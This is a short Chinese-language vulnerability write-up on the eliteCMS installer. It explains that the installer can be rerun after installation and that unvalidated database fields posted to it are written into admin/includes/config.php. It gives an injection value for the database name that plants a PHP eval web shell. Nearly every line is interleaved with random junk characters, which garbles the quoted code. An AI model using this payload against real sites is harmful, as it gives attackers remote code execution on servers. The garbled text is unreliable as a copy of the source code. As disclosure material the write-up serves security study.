eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
9 a: O ?5 o( m- y* L) u3 m3 x9 v: m
% X4 x3 H' L8 k4 C( ?6 H% R另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php- ` l2 l& t; ]" D% M- ?" u
我们来看代码:0 ^! B! Q" U3 Q' ~
: f, H5 e3 {% s7 z! u$ x...2 w: g; S/ A& f' u# }8 x
elseif ($_GET['step'] == "4") {
0 o( M" w- u2 Y; Z& Z $file = "../admin/includes/config.php"; E$ I. R$ W# a! I* T$ s. N
$write = "<?php\n";
8 f! ?5 M8 r4 v2 o $write .= "/**\n";/ m" Q- Z# o# [8 D6 I' b5 l
$write .= "*\n";8 O/ S& c5 J+ P! W
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";: E+ P1 L: q# U
...略...5 D4 n4 s1 r+ ?2 \$ L' o# o5 E
$write .= "*\n";6 E9 J$ S2 ]$ l8 H; V
$write .= "*/\n";
' n4 N+ R( q2 `' \4 { $write .= "\n";" s, s2 W/ x8 w% a" d+ \
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";, J* z3 M* {9 j2 a
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
% t R% i. l- S) V$ o3 `, S" W% H $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";6 n, V% w' q2 w4 x Q, S
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
* s2 F$ s9 n! n, T9 b" Q( k! ~, _. I) S $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
6 L7 X! ~. g' `9 k; `$ V $write .= "if (!\$connection) {\n";" `7 B8 m$ ~; {9 ]) ~7 l
$write .= " die(\"Database connection failed\" .mysql_error());\n";/ J8 e& T- n( O& ^1 k/ r: d0 N
$write .= " \n";9 b: ~0 b, [" L, A: L4 O
$write .= "} \n";- A( G0 g3 v7 d/ {
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";; @" \: K% R! N# F& _9 m
$write .= "if (!\$db_select) {\n";/ C: y; [. M. \9 W9 b
$write .= " die(\"Database select failed\" .mysql_error());\n";+ p: K1 u( Q6 S. |
$write .= " \n";
S2 ], I: Y& g- }0 E6 Q( G6 _ $write .= "} \n";
/ m1 e: X+ V6 |, o, c $write .= "?>\n";
+ x- y7 o7 ?4 f6 M! M( ^1 }; M 3 X8 [/ J/ b5 ]
$writer = fopen($file, 'w');3 L# `. E) M8 O8 J, h( @# c9 O
...
9 ^1 R Y; Y) K2 ~1 _
% C& H5 ]7 \" D在看代码:
* _! g+ ?( I8 ~: l( W; K- u
H0 r1 ?: W. F8 K$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
& ?5 x3 n( Z6 j: t$ X/ ]8 ~/ A$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
+ B5 {2 ^ {% N% g" }& G7 ^3 H$_SESSION['DB_USER'] = $_POST['DB_USER'];
0 I. F0 ?; l0 {9 [0 \4 I4 k' L$_SESSION['DB_PASS'] = $_POST['DB_PASS'];4 k+ U+ [/ ]! z3 b0 @) r# Y
! E6 S e6 {4 j/ p2 @; u. `- c取值未作任何验证+ C4 q5 t# }4 L( I2 S" c
如果将数据库名POST数据: c9 F4 [. @( J# u: j9 s
# ]6 T3 {* g' O" z4 C"?><?php eval($_POST[c]);?><?php5 N2 z& J( l; S; Z- R/ _! H; B
6 D3 k1 w% ?( D9 r% I4 c8 a将导致一句话后门写入/admin/includes/config.php3 M g' e" H0 \3 K# B1 M) K0 X
|